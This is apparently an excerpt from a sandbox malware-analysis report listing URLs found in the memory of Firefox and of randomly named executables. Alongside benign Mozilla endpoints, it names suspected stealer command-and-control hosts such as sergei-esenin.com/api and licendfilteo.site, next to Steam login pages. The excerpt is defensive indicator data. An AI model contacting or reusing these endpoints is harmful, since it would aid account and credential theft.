Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B685000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B685000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136131326.0000028826A91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B685000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtabhttps://getpocket.com/explore
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabbrowser.newtabpage.activity-stream.discoverystr
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morecleanUpTopRecImpressionPref/activeStories
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-learn-more
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsdiscoverystream.personalization.enabled
Source: firefox.exe, 00000017.00000002.3173331545.000002882DFCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000017.00000003.2983132390.000002882376F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000017.00000002.3142479922.000002882B1A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000017.00000002.3142479922.000002882B1A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000017.00000002.3180688170.000022DAD3C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000017.00000002.3142479922.000002882B1A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/translations-panel-view-default
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/translations-panel-view-defaultexperimental-features-web-gpu2
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 00000017.00000002.3085847545.0000028813611000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: 7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitsection.highlights.includeDownloadsNumber
Source: firefox.exe, 00000017.00000002.3123219764.0000028825174000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044553062.000002882BA78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: f84005b97f.exe, 00000009.00000002.2949746243.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 00000017.00000002.3117080621.0000028824396000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127499591.0000028825D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089829933.000002881F2C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%primeBackground/extension.wake
Source: firefox.exe, 00000017.00000002.3113740588.0000028823D67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134981536.000002882600A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127499591.0000028825D85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.000002882432A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3053217524.000002882600E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000017.00000002.3137866600.0000028826C61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comchrome
Source: firefox.exe, 00000017.00000002.3137866600.0000028826C61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comUrlClassifierExceptionListService7b5096a3-582a-437a-8d3a-7edd47030f
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestmedia.videocontrols.picture-in-picture.urlbar-butt
Source: firefox.exe, 00000017.00000002.3090755070.000002881F7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 00000017.00000002.3090755070.000002881F7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3109502622.0000028823575000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/#
Source: firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comcreateContentPrincipalFromOrigindevice-connected-notificationaccount-
Source: f84005b97f.exe, 00000007.00000003.2823586577.0000000001481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: f84005b97f.exe, 00000007.00000003.2812942208.0000000001481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/&J
Source: f84005b97f.exe, 00000007.00000003.2812942208.0000000001481000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2823853270.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2813057343.000000000143E000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: f84005b97f.exe, 00000007.00000003.2823853270.00000000014C5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2823586577.0000000001481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api)
Source: f84005b97f.exe, 00000007.00000003.2812942208.0000000001481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiL
Source: f84005b97f.exe, 00000007.00000003.2823853270.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apienR
Source: firefox.exe, 00000017.00000002.3179092949.000002882E2D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B685000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Endpoint
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824356000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3100093809.00000288230EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044553062.000002882BA78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3141504979.000002882B0E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B685000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_CHANGE
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_CHANGEsection.highlights.includePocket_getRe
Source: firefox.exe, 00000017.00000002.3119588541.00000288245BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3122697624.0000028824B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882510C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000017.00000002.3123219764.0000028825105000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3122697624.0000028824B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.000002882510C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
